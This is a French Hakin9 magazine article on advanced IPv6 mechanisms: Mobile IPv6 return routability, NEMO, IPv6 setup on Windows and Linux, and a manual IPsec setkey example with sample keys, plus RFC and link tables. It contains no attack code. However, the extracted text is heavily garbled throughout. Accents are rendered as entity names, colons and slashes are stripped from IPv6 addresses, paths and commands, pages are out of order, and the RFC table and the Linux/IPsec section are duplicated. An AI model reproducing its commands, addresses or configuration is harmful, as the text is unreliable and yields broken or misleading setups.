Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 43: hakin9_05_2010_FR

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

